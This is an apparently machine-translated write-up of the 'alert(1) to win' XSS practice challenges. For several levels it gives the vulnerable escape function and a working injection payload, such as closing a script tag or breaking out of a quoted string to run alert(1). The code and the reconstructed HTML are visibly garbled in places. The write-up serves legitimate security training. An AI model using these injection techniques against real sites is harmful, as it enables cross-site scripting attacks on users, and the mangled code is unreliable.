alert (1) to win
A platform for practicing XSS, address: Https://alf.nu/alert1
Warmup(14)
Gives a piece of JavaScript code
function Escape (s) { return ' <script>console.log ("' +s+ '");</script> ';}
There is no calibration for S,payload is
") alert (1);("
Or
"); alert (1);//
Adobe (a)
The code is as follows
function Escape (s) { = s.replace (/"/g, ' \ \" ') ; return ' <script>console.log ("' + S + '");</script> ';}
Globally replaced by \, which means that double quotes are escaped without escaping the escape character \
Payload as follows
\ "); alert (1)//
JSON (+)
function Escape (s) { = json.stringify (s); return ' <script>console.log (' + S + ');</script> ';}
S is processed using the json.stringify () function , which escapes the double quote "and escape character \ and does not handle the < > '/character.
Payload as follows
) </script><script>alert (1)//
Close parenthesis then close the script tag, create a new script tag to execute alert (1),//Comment out the extra string
JavaScript (All)
function Escape (s) { var url = ' Javascript:console.log (' + json.stringify (s) + ') '; Console.log (URL); var a = document.createelement (' a '); = URL; Document.body.appendChild (a); A.click ();}
That's a bit of a point, first payload .
%22); alert (1)//
The URL is executed in the href attribute of the A tag, and the href attribute is used to specify the URL of the hyperlink target, which is the URL encoding that supports URL encoding,%22 is double quote "
The A tag constructed is
<a href=javascript:console.log ("%22"), alert (1)//") ></a>
A.click () triggered alert (1) when executing
Markdown (+)
function Escape (s) { var text = S.replace (/</g, ' < '). Replace (/"/g, ' " ') ); // URLs Text = Text.replace (/(http:\/\/\s+)/g, ' <a href= ' >$1</a> '); // [[img123| Description]] text = Text.replace (/\[\[(\w+) \| (. +?) \]\]/g, ' ); return text;}
The first line of code escapes all < "characters
The second line is to rewrite the string like http://S+ to <a href= "http://S+" >http://S+</a> (s+ to match a non-whitespace character one or more times)
The third line with the form [[A|b]] is rewritten as
Release the payload first.
[[A|http://onerror=alert (1)//]]
The result of the function construction is
<alt= "<a href="http://onerrorsrc= "A.gif" >">http://onerror=alert (1)//]</a>
Use//To replace the space, the beginning of the href "closed alt", in//commented out the last "
"Alert (1) to win" not complete introduction